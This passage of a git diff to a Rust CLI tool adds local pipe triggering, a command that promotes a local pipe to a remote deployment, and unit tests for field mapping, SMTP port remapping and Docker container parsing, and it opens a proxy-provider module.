+                    "Local trigger requires --data '<json>' for now.\nExample: {}",
+                    example_local_trigger_command(&pipe.id)
+                ))
+            })?;
+            let effective_payload = build_local_trigger_payload(&pipe, &source_data);
+            let pb = progress::spinner(&format!(
+                "{}Triggering pipe '{}' locally...",
+                prefix, self.pipe_id
+            ));
+            let runtime = tokio::runtime::Builder::new_current_thread()
+                .enable_all()
+                .build()
+                .map_err(|error| {
+                    progress::finish_error(&pb, "Local runtime initialization failed");
+                    CliError::ConfigValidation(format!(
+                        "Cannot start local pipe runtime: {}",
+                        error
+                    ))
+                })?;
+
+            match runtime.block_on(run_local_target_adapter(&pipe, effective_payload.clone())) {
+                Ok(result) => {
+                    pipe.record_trigger_success();
+                    let local_path = store.save(&pipe)?;
+                    progress::finish_success(&pb, &format!("{}Pipe triggered locally", prefix));
+                    if self.json {
+                        let mut output = serde_json::json!({
+                            "status": "completed",
+                            "local": true,
+                            "pipe_id": pipe.id,
+                            "file": local_path,
+                            "input_data": source_data,
+                            "effective_payload": effective_payload,
+                            "result": result,
+                        });
+                        redact_sensitive_json(&mut output);
+                        println!("{}", serde_json::to_string_pretty(&output)?);
+                    } else {
+                        println!("\n  {}✓ Pipe '{}' triggered locally", prefix, pipe.id);
+                        println!("  File: {}", local_path.display());
+                        println!(
+                            "  Trigger count: {}  Errors: {}",
+                            pipe.instance.trigger_count, pipe.instance.error_count
+                        );
+                    }
+                }
+                Err(error) => {
+                    pipe.record_trigger_failure();
+                    let _ = store.save(&pipe);
+                    progress::finish_error(&pb, "Local trigger failed");
+                    return Err(Box::new(error));
+                }
+            }
+
+            return Ok(());
+        }
+
+        let ctx = CliRuntime::new("pipe trigger")?;
+        let hash = match &deploy_ctx {
+            DeploymentContext::Remote(h) => h.clone(),
+            _ => unreachable!(),
+        };
+        ensure_remote_pipe_command_capability(&ctx, &hash)?;
+
         let params = serde_json::json!({
             "pipe_instance_id": self.pipe_id,
             "input_data": input_data,
         });
 
-        let request = AgentEnqueueRequest::new(&hash, "trigger_pipe")
-            .with_raw_parameters(params);
+        let request = AgentEnqueueRequest::new(&hash, "trigger_pipe").with_raw_parameters(params);
 
-        let info = run_agent_command(
-            &ctx,
-            &request,
-            "Triggering pipe",
-            PROBE_TIMEOUT_SECS,
-        )?;
+        let info = run_agent_command(&ctx, &request, "Triggering pipe", PROBE_TIMEOUT_SECS)?;
 
         print_command_result(&info, self.json);
 
@@ -1093,27 +4646,42 @@ pub struct PipeHistoryCommand {
 
 impl PipeHistoryCommand {
     pub fn new(instance_id: String, limit: i64, json: bool, deployment: Option<String>) -> Self {
-        Self { instance_id, limit, json, deployment }
+        Self {
+            instance_id,
+            limit,
+            json,
+            deployment,
+        }
     }
 }
 
 impl CallableTrait for PipeHistoryCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let ctx = CliRuntime::new("pipe history")?;
-        let _hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+        let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?;
+        let _prefix = mode_prefix(&deploy_ctx);
 
         let pb = progress::spinner("Fetching execution history...");
-        let executions = ctx.block_on(
-            ctx.client.list_pipe_executions(&self.instance_id, self.limit, 0)
-        ).map_err(|e| {
-            progress::finish_error(&pb, "Failed to fetch history");
-            e
-        })?;
+        let executions = ctx
+            .block_on(
+                ctx.client
+                    .list_pipe_executions(&self.instance_id, self.limit, 0),
+            )
+            .map_err(|e| {
+                progress::finish_error(&pb, "Failed to fetch history");
+                e
+            })?;
         progress::finish_success(&pb, &format!("{} execution(s) found", executions.len()));
 
         if executions.is_empty() {
-            println!("No executions recorded for pipe instance '{}'.", self.instance_id);
-            println!("Use 'stacker pipe trigger {}' to execute the pipe.", self.instance_id);
+            println!(
+                "No executions recorded for pipe instance '{}'.",
+                self.instance_id
+            );
+            println!(
+                "Use 'stacker pipe trigger {}' to execute the pipe.",
+                self.instance_id
+            );
             return Ok(());
         }
 
@@ -1135,7 +4703,8 @@ impl CallableTrait for PipeHistoryCommand {
                 "running" => "⟳ running",
                 _ => &exec.status,
             };
-            let duration = exec.duration_ms
+            let duration = exec
+                .duration_ms
                 .map(|ms| format!("{}ms", ms))
                 .unwrap_or_else(|| "-".to_string());
             let error = exec.error.as_deref().unwrap_or("");
@@ -1168,7 +4737,11 @@ pub struct PipeReplayCommand {
 
 impl PipeReplayCommand {
     pub fn new(execution_id: String, json: bool, deployment: Option<String>) -> Self {
-        Self { execution_id, json, deployment }
+        Self {
+            execution_id,
+            json,
+            deployment,
+        }
     }
 }
 
@@ -1178,12 +4751,12 @@ impl CallableTrait for PipeReplayCommand {
         let _hash = resolve_deployment_hash(&self.deployment, &ctx)?;
 
         let pb = progress::spinner(&format!("Replaying execution {}...", &self.execution_id));
-        let replay = ctx.block_on(
-            ctx.client.replay_pipe_execution(&self.execution_id)
-        ).map_err(|e| {
-            progress::finish_error(&pb, "Replay failed");
-            e
-        })?;
+        let replay = ctx
+            .block_on(ctx.client.replay_pipe_execution(&self.execution_id))
+            .map_err(|e| {
+                progress::finish_error(&pb, "Replay failed");
+                e
+            })?;
         progress::finish_success(&pb, "Replay initiated");
 
         if self.json {
@@ -1205,62 +4778,352 @@ impl CallableTrait for PipeReplayCommand {
     }
 }
 
+pub struct PipeDeployCommand {
+    pub instance_id: String,
+    pub deployment_hash: String,
+    pub json: bool,
+}
+
+impl PipeDeployCommand {
+    pub fn new(instance_id: String, deployment_hash: String, json: bool) -> Self {
+        Self {
+            instance_id,
+            deployment_hash,
+            json,
+        }
+    }
+}
+
+impl CallableTrait for PipeDeployCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("pipe deploy")?;
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        let store = LocalPipeStore::new(&project_dir);
+        let local_pipe = store.resolve(&self.instance_id)?;
+        let template_request = local_pipe.to_template_request();
+
+        let template_pb = progress::spinner(&format!(
+            "Resolving remote template for {} → {}...",
+            &local_pipe.id, &self.deployment_hash
+        ));
+        let templates = ctx
+            .block_on(ctx.client.list_pipe_templates(
+                Some(&template_request.source_app_type),
+                Some(&template_request.target_app_type),
+            ))
+            .map_err(|e| {
+                progress::finish_error(&template_pb, "Template lookup failed");
+                e
+            })?;
+        let template =
+            match find_reusable_pipe_template(&templates, &template_request).map_err(|e| {
+                progress::finish_error(&template_pb, "Template promotion failed");
+                e
+            })? {
+                Some(existing) => {
+                    progress::finish_success(&template_pb, "Using existing template");
+                    existing
+                }
+                None => {
+                    let created = ctx
+                        .block_on(ctx.client.create_pipe_template(&template_request))
+                        .map_err(|e| {
+                            progress::finish_error(&template_pb, "Template promotion failed");
+                            e
+                        })?;
+                    progress::finish_success(&template_pb, "Template promoted");
+                    created
+                }
+            };
+
+        let instance_request =
+            local_pipe.to_instance_request(self.deployment_hash.clone(), template.id.clone());
+
+        let instance_pb = progress::spinner("Creating remote pipe instance...");
+        let remote = ctx
+            .block_on(ctx.client.create_pipe_instance(&instance_request))
+            .map_err(|e| {
+                progress::finish_error(&instance_pb, "Remote instance creation failed");
+                e
+            })?;
+        progress::finish_success(&instance_pb, "Pipe deployed to remote");
+
+        let mut updated_pipe = local_pipe.clone();
+        updated_pipe.record_promotion(&self.deployment_hash, &template.id, &remote.id);
+        let local_path = store.save(&updated_pipe)?;
+
+        if self.json {
+            let mut output = serde_json::json!({
+                "local_pipe": updated_pipe,
+                "remote_template_id": template.id,
+                "remote_instance": remote,
+            });
+            redact_sensitive_json(&mut output);
+            println!("{}", serde_json::to_string_pretty(&output)?);
+            return Ok(());
+        }
+
+        println!("\n  ✓ Local pipe promoted to remote deployment");
+        println!("  Local pipe ID:       {}", updated_pipe.id);
+        println!("  Local file:          {}", local_path.display());
+        println!("  Remote template ID:  {}", template.id);
+        println!("  Remote instance ID:  {}", remote.id);
+        println!("  Deployment:          {}", &remote.deployment_hash);
+        println!("  Source:              {}", remote.source_container);
+        if let Some(ref t) = remote.target_container {
+            println!("  Target:              {}", t);
+        } else if let Some(ref adapter) = remote.target_adapter {
+            println!("  Target:              {} adapter", adapter.code);
+        }
+        println!("  Status:              {}", remote.status);
+        println!(
+            "\n  Use 'stacker pipe activate {}' to start the remote pipe.",
+            remote.id
+        );
+
+        Ok(())
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::cli::field_matcher::{DeterministicFieldMatcher, FieldMatcher};
     use serde_json::json;
 
+    fn sample_local_smtp_pipe(mapping: serde_json::Value) -> LocalPipeDocument {
+        LocalPipeDocument::draft(NewLocalPipeDocument {
+            name: "status-panel-web-to-smtp".to_string(),
+            source: LocalPipeBinding {
+                selector: "status-panel-web".to_string(),
+                container: Some("status-panel-web".to_string()),
+                adapter: None,
+                method: "POST".to_string(),
+                path: "/contact".to_string(),
+                fields: vec![
+                    "name".to_string(),
+                    "email".to_string(),
+                    "subject".to_string(),
+                    "message".to_string(),
+                ],
+            },
+            target: LocalPipeBinding {
+                selector: "smtp".to_string(),
+                container: None,
+                adapter: Some(
+                    PipeAdapterReference::new("smtp")
+                        .with_role(PipeAdapterRole::Target)
+                        .with_config(json!({
+                            "host": "smtp",
+                            "port": 1025,
+                            "from": "info@example.com",
+                            "to": ["ops@example.com"],
+                            "tls": false
+                        })),
+                ),
+                method: "SEND".to_string(),
+                path: "adapter:smtp".to_string(),
+                fields: vec![
+                    "from_email".to_string(),
+                    "reply_to_email".to_string(),
+                    "subject".to_string(),
+                    "body_text".to_string(),
+                    "body_html".to_string(),
+                ],
+            },
+            template: LocalPipeTemplate {
+                description: Some("POST /contact -> SEND adapter:smtp".to_string()),
+                source_app_type: "status-panel-web".to_string(),
+                source_endpoint: json!({"method":"POST","path":"/contact"}),
+                target_app_type: "smtp".to_string(),
+                target_endpoint: json!({"adapter":"smtp","mode":"adapter"}),
+                target_external_url: None,
+                field_mapping: mapping,
+                config: Some(json!({"retry_count": 3})),
+                is_public: false,
+            },
+            instance: LocalPipeInstance {
+                source_adapter: None,
+                source_container: "status-panel-web".to_string(),
+                target_adapter: Some(
+                    PipeAdapterReference::new("smtp")
+                        .with_role(PipeAdapterRole::Target)
+                        .with_config(json!({
+                            "host": "smtp",
+                            "port": 1025,
+                            "from": "info@example.com",
+                            "to": ["ops@example.com"],
+                            "tls": false
+                        })),
+                ),
+                target_container: None,
+                target_url: None,
+                field_mapping_override: None,
+                config_override: None,
+                trigger_count: 0,
+                error_count: 0,
+                last_triggered_at: None,
+            },
+            diagnostics: LocalPipeDiagnostics::default(),
+        })
+        .expect("sample local pipe should be valid")
+    }
+
+    fn sample_smtp_container(host_port: Option<u16>) -> LocalContainerInfo {
+        LocalContainerInfo {
+            id: "abc123".to_string(),
+            name: "status-smtp-1".to_string(),
+            image: "mailpit/mailpit:latest".to_string(),
+            network: "status_default".to_string(),
+            addresses: vec!["172.18.0.30".to_string()],
+            ports: vec![LocalPortBinding {
+                container_port: 1025,
+                host_port,
+                host_ip: Some("0.0.0.0".to_string()),
+                protocol: "tcp".to_string(),
+            }],
+            status: "running".to_string(),
+            env: BTreeMap::new(),
+            labels: BTreeMap::from([(
+                "com.docker.compose.service".to_string(),
+                "smtp".to_string(),
+            )]),
+        }
+    }
+
+    fn sample_exim_container(host_port: Option<u16>) -> LocalContainerInfo {
+        LocalContainerInfo {
+            id: "def456".to_string(),
+            name: "status-smtp-1".to_string(),
+            image: "exim:latest".to_string(),
+            network: "status_default".to_string(),
+            addresses: vec!["172.18.0.31".to_string()],
+            ports: vec![LocalPortBinding {
+                container_port: 25,
+                host_port,
+                host_ip: Some("0.0.0.0".to_string()),
+                protocol: "tcp".to_string(),
+            }],
+            status: "running".to_string(),
+            env: BTreeMap::new(),
+            labels: BTreeMap::from([(
+                "com.docker.compose.service".to_string(),
+                "smtp".to_string(),
+            )]),
+        }
+    }
+
+    fn sample_template_request() -> CreatePipeTemplateApiRequest {
+        sample_local_smtp_pipe(json!({"subject": "$.subject"})).to_template_request()
+    }
+
+    fn sample_template_info() -> PipeTemplateInfo {
+        let request = sample_template_request();
+        PipeTemplateInfo {
+            id: "tmpl-1".to_string(),
+            name: request.name,
+            description: request.description,
+            source_app_type: request.source_app_type,
+            source_endpoint: request.source_endpoint,
+            target_app_type: request.target_app_type,
+            target_endpoint: request.target_endpoint,
+            target_external_url: request.target_external_url,
+            field_mapping: request.field_mapping,
+            config: request.config,
+            is_public: request.is_public,
+            created_by: "user-1".to_string(),
+            created_at: "2026-05-23T00:00:00Z".to_string(),
+            updated_at: "2026-05-23T00:00:00Z".to_string(),
+        }
+    }
+
+    #[test]
+    fn test_find_reusable_pipe_template_reuses_identical_template() {
+        let request = sample_template_request();
+        let existing = sample_template_info();
+
+        let resolved = find_reusable_pipe_template(&[existing.clone()], &request)
+            .expect("lookup should succeed");
+
+        let resolved = resolved.expect("template should be reused");
+        assert_eq!(resolved.id, existing.id);
+        assert_eq!(resolved.name, existing.name);
+    }
+
+    #[test]
+    fn test_find_reusable_pipe_template_rejects_conflicting_template() {
+        let request = sample_template_request();
+        let mut existing = sample_template_info();
+        existing.target_endpoint = json!({"adapter":"smtp","mode":"adapter","variant":"other"});
+
+        let error = find_reusable_pipe_template(&[existing], &request)
+            .expect_err("conflicting template should be rejected");
+
+        assert!(
+            error
+                .to_string()
+                .contains("already exists with a different definition"),
+            "unexpected error: {error}"
+        );
+    }
+
     #[test]
     fn test_smart_field_match_exact() {
+        let matcher = DeterministicFieldMatcher;
         let src = vec!["email".to_string(), "name".to_string(), "id".to_string()];
         let tgt = vec!["email".to_string(), "name".to_string()];
-        let result = smart_field_match(&src, &tgt, None);
-        let map = result.as_object().unwrap();
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
         assert_eq!(map["email"], "$.email");
         assert_eq!(map["name"], "$.name");
     }
 
     #[test]
     fn test_smart_field_match_case_insensitive() {
+        let matcher = DeterministicFieldMatcher;
         let src = vec!["Email".to_string(), "UserName".to_string()];
         let tgt = vec!["email".to_string(), "username".to_string()];
-        let result = smart_field_match(&src, &tgt, None);
-        let map = result.as_object().unwrap();
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
         assert_eq!(map["email"], "$.Email");
         assert_eq!(map["username"], "$.UserName");
     }
 
     #[test]
     fn test_smart_field_match_semantic_aliases() {
+        let matcher = DeterministicFieldMatcher;
         let src = vec!["user_email".to_string(), "display_name".to_string()];
         let tgt = vec!["email".to_string(), "name".to_string()];
-        let result = smart_field_match(&src, &tgt, None);
-        let map = result.as_object().unwrap();
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
         assert_eq!(map["email"], "$.user_email");
         assert_eq!(map["name"], "$.display_name");
     }
 
     #[test]
     fn test_smart_field_match_type_aware_suffix() {
+        let matcher = DeterministicFieldMatcher;
         let src = vec!["author_id".to_string(), "post_id".to_string()];
         let tgt = vec!["user_id".to_string()];
         let sample = json!({"author_id": 42, "post_id": 1});
-        let result = smart_field_match(&src, &tgt, Some(&sample));
-        let map = result.as_object().unwrap();
+        let result = matcher.match_fields(&src, &tgt, Some(&sample));
+        let map = result.mapping.as_object().unwrap();
         assert_eq!(map["user_id"], "$.author_id");
     }
 
     #[test]
     fn test_smart_field_match_no_matches() {
+        let matcher = DeterministicFieldMatcher;
         let src = vec!["foo".to_string()];
         let tgt = vec!["bar".to_string()];
-        let result = smart_field_match(&src, &tgt, None);
-        let map = result.as_object().unwrap();
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
         assert!(map.is_empty());
     }
 
     #[test]
     fn test_smart_field_match_mixed_strategies() {
+        let matcher = DeterministicFieldMatcher;
         let src = vec![
             "email".to_string(),
             "display_name".to_string(),
@@ -1272,12 +5135,434 @@ mod tests {
             "phone".to_string(),
             "unknown".to_string(),
         ];
-        let result = smart_field_match(&src, &tgt, None);
-        let map = result.as_object().unwrap();
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
         assert_eq!(map.len(), 3);
         assert_eq!(map["email"], "$.email");
         assert_eq!(map["name"], "$.display_name");
         assert_eq!(map["phone"], "$.Phone");
         assert!(!map.contains_key("unknown"));
     }
+
+    #[test]
+    fn test_deployment_context_local_is_local() {
+        let ctx = DeploymentContext::Local;
+        assert!(ctx.is_local());
+        assert!(ctx.hash().is_none());
+    }
+
+    #[test]
+    fn test_deployment_context_remote_has_hash() {
+        let ctx = DeploymentContext::Remote("abc123".to_string());
+        assert!(!ctx.is_local());
+        assert_eq!(ctx.hash(), Some("abc123"));
+    }
+
+    #[test]
+    fn test_mode_prefix_local() {
+        let ctx = DeploymentContext::Local;
+        let prefix = mode_prefix(&ctx);
+        assert!(prefix.contains("[local]"));
+        assert!(!prefix.is_empty());
+    }
+
+    #[test]
+    fn test_mode_prefix_remote_empty() {
+        let ctx = DeploymentContext::Remote("hash".to_string());
+        let prefix = mode_prefix(&ctx);
+        assert!(prefix.is_empty());
+    }
+
+    #[test]
+    fn test_apply_field_mapping_supports_nested_paths() {
+        let mapped = apply_field_mapping(
+            &json!({
+                "contact": {
+                    "email": "person@example.com"
+                },
+                "message": "hello"
+            }),
+            &json!({
+                "reply_to_email": "$.contact.email",
+                "body_text": "$.message"
+            }),
+        );
+
+        assert_eq!(
+            mapped,
+            json!({
+                "reply_to_email": "person@example.com",
+                "body_text": "hello"
+            })
+        );
+    }
+
+    #[test]
+    fn test_build_local_trigger_payload_applies_smtp_defaults() {
+        let pipe = sample_local_smtp_pipe(json!({
+            "subject": "$.subject"
+        }));
+
+        let payload = build_local_trigger_payload(
+            &pipe,
+            &json!({
+                "name": "Alice",
+                "email": "alice@example.com",
+                "subject": "Status question",
+                "message": "Hello from the contact form"
+            }),
+        );
+
+        assert_eq!(
+            payload,
+            json!({
+                "subject": "Status question",
+                "from_email": "alice@example.com",
+                "reply_to_email": "alice@example.com",
+                "body_text": "Hello from the contact form"
+            })
+        );
+    }
+
+    #[test]
+    fn test_example_local_trigger_command_uses_expected_shape() {
+        let command = example_local_trigger_command("pipe-123");
+        assert!(command.contains("stacker pipe trigger pipe-123 --data"));
+        assert!(command.contains("\"email\":\"person@example.com\""));
+    }
+
+    #[test]
+    fn test_remap_smtp_target_reference_prefers_published_host_port() {
+        let pipe = sample_local_smtp_pipe(json!({}));
+        let adapter = pipe.instance.target_adapter.clone().expect("smtp adapter");
+        let remapped = remap_smtp_target_reference_for_container(
+            adapter,
+            "smtp",
+            &sample_smtp_container(Some(11025)),
+        )
+        .expect("smtp target should be remapped");
+        let config = remapped.config.expect("smtp config");
+
+        assert_eq!(config["host"], serde_json::json!("127.0.0.1"));
+        assert_eq!(config["port"], serde_json::json!(11025));
+    }
+
+    #[test]
+    fn test_remap_smtp_target_reference_accepts_host_published_port_mapping() {
+        let pipe = sample_local_smtp_pipe(json!({}));
+        let adapter = pipe.instance.target_adapter.clone().expect("smtp adapter");
+        let remapped = remap_smtp_target_reference_for_container(
+            adapter,
+            "smtp",
+            &sample_exim_container(Some(1025)),
+        )
+        .expect("smtp target should use the published host port");
+        let config = remapped.config.expect("smtp config");
+
+        assert_eq!(config["host"], serde_json::json!("127.0.0.1"));
+        assert_eq!(config["port"], serde_json::json!(1025));
+    }
+
+    #[test]
+    fn test_remap_smtp_target_reference_rejects_unpublished_localhost_target() {
+        let mut pipe = sample_local_smtp_pipe(json!({}));
+        if let Some(adapter) = pipe.instance.target_adapter.as_mut() {
+            if let Some(config) = adapter
+                .config
+                .as_mut()
+                .and_then(|value| value.as_object_mut())
+            {
+                config.insert("host".to_string(), serde_json::json!("localhost"));
+            }
+        }
+
+        let adapter = pipe.instance.target_adapter.clone().expect("smtp adapter");
+        let error = remap_smtp_target_reference_for_container(
+            adapter,
+            "smtp",
+            &sample_smtp_container(None),
+        )
+        .expect_err("localhost target should require a published port");
+
+        let message = error.to_string();
+        assert!(message.contains("does not publish that port to the host"));
+    }
+
+    #[test]
+    fn test_deployment_context_equality() {
+        assert_eq!(DeploymentContext::Local, DeploymentContext::Local);
+        assert_eq!(
+            DeploymentContext::Remote("a".to_string()),
+            DeploymentContext::Remote("a".to_string())
+        );
+        assert_ne!(
+            DeploymentContext::Local,
+            DeploymentContext::Remote("a".to_string())
+        );
+    }
+
+    #[test]
+    fn test_pipe_deploy_command_new() {
+        let cmd = PipeDeployCommand::new("inst-123".to_string(), "deploy-hash".to_string(), true);
+        assert_eq!(cmd.instance_id, "inst-123");
+        assert_eq!(cmd.deployment_hash, "deploy-hash");
+        assert!(cmd.json);
+    }
+
+    #[test]
+    fn test_pipe_scan_request_local_filter_from_legacy() {
+        let request = PipeScanRequest::Legacy {
+            selector: Some("upload".to_string()),
+        };
+        assert_eq!(request.local_filter().unwrap(), Some("upload"));
+    }
+
+    #[test]
+    fn test_pipe_scan_request_local_filter_accepts_legacy_without_selector() {
+        let request = PipeScanRequest::Legacy { selector: None };
+        assert_eq!(request.local_filter().unwrap(), None);
+    }
+
+    #[test]
+    fn test_pipe_scan_request_local_filter_from_containers() {
+        let request = PipeScanRequest::Containers {
+            filter: Some("upload".to_string()),
+        };
+        assert_eq!(request.local_filter().unwrap(), Some("upload"));
+    }
+
+    #[test]
+    fn test_pipe_scan_request_local_filter_rejects_app_mode() {
+        let request = PipeScanRequest::App {
+            app: "website".to_string(),
+            container: None,
+        };
+        assert!(request.local_filter().is_err());
+    }
+
+    #[test]
+    fn test_pipe_scan_request_remote_selector_from_app_mode() {
+        let request = PipeScanRequest::App {
+            app: "website".to_string(),
+            container: Some("website-web-1".to_string()),
+        };
+        assert_eq!(
+            request.remote_selector().unwrap(),
+            ("website", Some("website-web-1"))
+        );
+    }
+
+    #[test]
+    fn test_pipe_scan_request_remote_selector_from_legacy() {
+        let request = PipeScanRequest::Legacy {
+            selector: Some("website".to_string()),
+        };
+        assert_eq!(request.remote_selector().unwrap(), ("website", None));
+    }
+
+    #[test]
+    fn test_pipe_scan_request_remote_selector_rejects_legacy_without_selector() {
+        let request = PipeScanRequest::Legacy { selector: None };
+        assert!(request.remote_selector().is_err());
+    }
+
+    #[test]
+    fn test_pipe_scan_request_remote_selector_rejects_containers_mode() {
+        let request = PipeScanRequest::Containers { filter: None };
+        assert!(request.remote_selector().is_err());
+    }
+
+    #[test]
+    fn test_local_http_candidate_urls_include_internal_and_host_ports() {
+        let container = LocalContainerInfo {
+            id: "abc".to_string(),
+            name: "local-device-api-1".to_string(),
+            image: "example/device-api:local".to_string(),
+            network: "app-network".to_string(),
+            addresses: vec!["172.18.0.20".to_string()],
+            ports: vec![
+                LocalPortBinding {
+                    container_port: 5050,
+                    host_port: None,
+                    host_ip: None,
+                    protocol: "tcp".to_string(),
+                },
+                LocalPortBinding {
+                    container_port: 8080,
+                    host_port: Some(18080),
+                    host_ip: Some("::".to_string()),
+                    protocol: "tcp".to_string(),
+                },
+            ],
+            status: "running".to_string(),
+            env: std::collections::BTreeMap::new(),
+            labels: std::collections::BTreeMap::new(),
+        };
+
+        let urls = local_http_candidate_urls(&container);
+        assert!(urls.contains(&"http://172.18.0.20:5050".to_string()));
+        assert!(urls.contains(&"http://[::1]:18080".to_string()));
+    }
+
+    #[test]
+    fn test_parse_local_container_inspect_extracts_ports_and_env() {
+        let inspect = json!({
+            "Id": "abc123",
+            "Name": "/local-postgres-1",
+            "Config": {
+                "Image": "postgres:17-alpine",
+                "Env": ["POSTGRES_USER=postgres", "POSTGRES_DB=app"],
+                "Labels": {"com.docker.compose.service": "database"},
+                "ExposedPorts": {"5432/tcp": {}}
+            },
+            "State": {"Status": "running"},
+            "NetworkSettings": {
+                "Networks": {
+                    "app-network": {
+                        "IPAddress": "172.18.0.10"
+                    }
+                },
+                "Ports": {
+                    "5432/tcp": null
+                }
+            }
+        });
+
+        let container = parse_local_container_inspect(&inspect).unwrap();
+        assert_eq!(container.name, "local-postgres-1");
+        assert_eq!(container.network, "app-network");
+        assert_eq!(container.addresses, vec!["172.18.0.10".to_string()]);
+        assert_eq!(
+            container.env.get("POSTGRES_USER").map(String::as_str),
+            Some("postgres")
+        );
+        assert_eq!(container.ports[0].container_port, 5432);
+        assert_eq!(container.ports[0].host_port, None);
+    }
+
+    #[test]
+    fn test_local_resource_probe_plan_detects_common_services() {
+        let postgres = LocalContainerInfo {
+            id: "pg".to_string(),
+            name: "local-postgres-1".to_string(),
+            image: "postgres:17-alpine".to_string(),
+            network: "app-network".to_string(),
+            addresses: vec!["172.18.0.10".to_string()],
+            ports: vec![LocalPortBinding {
+                container_port: 5432,
+                host_port: None,
+                host_ip: None,
+                protocol: "tcp".to_string(),
+            }],
+            status: "running".to_string(),
+            env: std::collections::BTreeMap::new(),
+            labels: std::collections::BTreeMap::new(),
+        };
+        let rabbit = LocalContainerInfo {
+            id: "rmq".to_string(),
+            name: "local-rabbitmq-1".to_string(),
+            image: "rabbitmq:3-management".to_string(),
+            network: "app-network".to_string(),
+            addresses: vec!["172.18.0.11".to_string()],
+            ports: vec![LocalPortBinding {
+                container_port: 5672,
+                host_port: None,
+                host_ip: None,
+                protocol: "tcp".to_string(),
+            }],
+            status: "running".to_string(),
+            env: std::collections::BTreeMap::new(),
+            labels: std::collections::BTreeMap::new(),
+        };
+
+        let pg_plan = local_resource_probe_plan(&postgres);
+        let rabbit_plan = local_resource_probe_plan(&rabbit);
+
+        assert!(pg_plan.iter().any(|item| item == "postgres"));
+        assert!(rabbit_plan.iter().any(|item| item == "rabbitmq"));
+    }
+
+    #[test]
+    fn test_build_local_probe_report_emits_progress_for_each_container() {
+        let containers = vec![
+            LocalContainerInfo {
+                id: "one".to_string(),
+                name: "local-api-1".to_string(),
+                image: "example/api:latest".to_string(),
+                network: "app-network".to_string(),
+                addresses: vec![],
+                ports: vec![],
+                status: "running".to_string(),
+                env: std::collections::BTreeMap::new(),
+                labels: std::collections::BTreeMap::new(),
+            },
+            LocalContainerInfo {
+                id: "two".to_string(),
+                name: "local-web-1".to_string(),
+                image: "example/web:latest".to_string(),
+                network: "app-network".to_string(),
+                addresses: vec![],
+                ports: vec![],
+                status: "running".to_string(),
+                env: std::collections::BTreeMap::new(),
+                labels: std::collections::BTreeMap::new(),
+            },
+        ];
+
+        let mut seen = Vec::new();
+        let _ = build_local_probe_report_with_progress(
+            "local",
+            &containers,
+            &[],
+            false,
+            |current, total, container| {
+                seen.push((current, total, container.to_string()));
+            },
+        );
+
+        assert_eq!(
+            seen,
+            vec![
+                (1, 2, "local-api-1".to_string()),
+                (2, 2, "local-web-1".to_string())
+            ]
+        );
+    }
+
+    #[test]
+    fn test_validate_pipe_command_capabilities_accepts_pipes_feature() {
+        let capabilities = DeploymentCapabilitiesInfo {
+            deployment_hash: "dep-123".to_string(),
+            status: "online".to_string(),
+            capabilities: vec!["docker".to_string(), "pipes".to_string()],
+            features: crate::cli::stacker_client::DeploymentCapabilityFeatures {
+                pipes: true,
+                ..Default::default()
+            },
+        };
+
+        assert!(validate_pipe_command_capabilities(&capabilities).is_ok());
+    }
+
+    #[test]
+    fn test_validate_pipe_command_capabilities_rejects_missing_pipes_feature() {
+        let capabilities = DeploymentCapabilitiesInfo {
+            deployment_hash: "dep-456".to_string(),
+            status: "online".to_string(),
+            capabilities: vec![
+                "docker".to_string(),
+                "compose".to_string(),
+                "logs".to_string(),
+            ],
+            features: crate::cli::stacker_client::DeploymentCapabilityFeatures::default(),
+        };
+
+        let error = validate_pipe_command_capabilities(&capabilities)
+            .expect_err("missing pipes capability should be rejected");
+
+        let message = error.to_string();
+        assert!(message.contains("does not support pipe commands"));
+        assert!(message.contains("dep-456"));
+        assert!(message.contains("docker, compose, logs"));
+    }
 }
diff --git a/src/console/commands/cli/proxy.rs b/src/console/commands/cli/proxy.rs
index 38172394..421adc5e 100644
--- a/src/console/commands/cli/proxy.rs
+++ b/src/console/commands/cli/proxy.rs
@@ -1,26 +1,76 @@
 use crate::cli::config_parser::{
-    CloudOrchestrator, DeployTarget, DomainConfig, SslMode, StackerConfig,
+    CloudOrchestrator, DeployTarget, DomainConfig, ProxyType, SslMode, StackerConfig,
 };
 use crate::cli::deployment_lock::DeploymentLock;
 use crate::cli::error::CliError;
 use crate::cli::proxy_manager::{
-    ContainerRuntime, DockerCliRuntime, ProxyDetection, detect_proxy,
-    detect_proxy_from_snapshot, generate_nginx_server_block,
+    detect_proxy, detect_proxy_from_snapshot, generate_nginx_server_block, ContainerRuntime,
+    DockerCliRuntime, ProxyDetection,
 };
 use crate::cli::runtime::CliRuntime;
+use crate::cli::stacker_client::AgentEnqueueRequest;
+use crate::console::commands::cli::agent::{run_agent_command, AgentConfigureProxyCommand};
 use crate::console::commands::CallableTrait;
+use std::path::{Path, PathBuf};
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum ProxyProviderKind {
+    NginxProxyManager,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct ProxyProviderMetadata {
+    pub kind: ProxyProviderKind,
+    pub canonical_name: &'static str,
+    pub service_catalog_name: &'static str,
+    pub internal_api_url: &'static str,
+}
+
+impl ProxyProviderKind {
+    pub fn from_alias(alias: &str) -> Option<Self> {
+        match normalize_proxy_provider_alias(alias).as_str() {
+            "npm" | "nginxproxymanager" => Some(Self::NginxProxyManager),
+            _ => None,
+        }
+    }
+
+    pub fn metadata(self) -> ProxyProviderMetadata {
+        match self {
+            Self::NginxProxyManager => ProxyProviderMetadata {
+                kind: self,
+                canonical_name: "nginx-proxy-manager",
+                service_catalog_name: "nginx_proxy_manager",
+                internal_api_url: "http://nginx-proxy-manager:81",
+            },
+        }
+    }
+}
+
+fn normalize_proxy_provider_alias(alias: &str) -> String {
+    alias
+        .trim()
+        .to_ascii_lowercase()
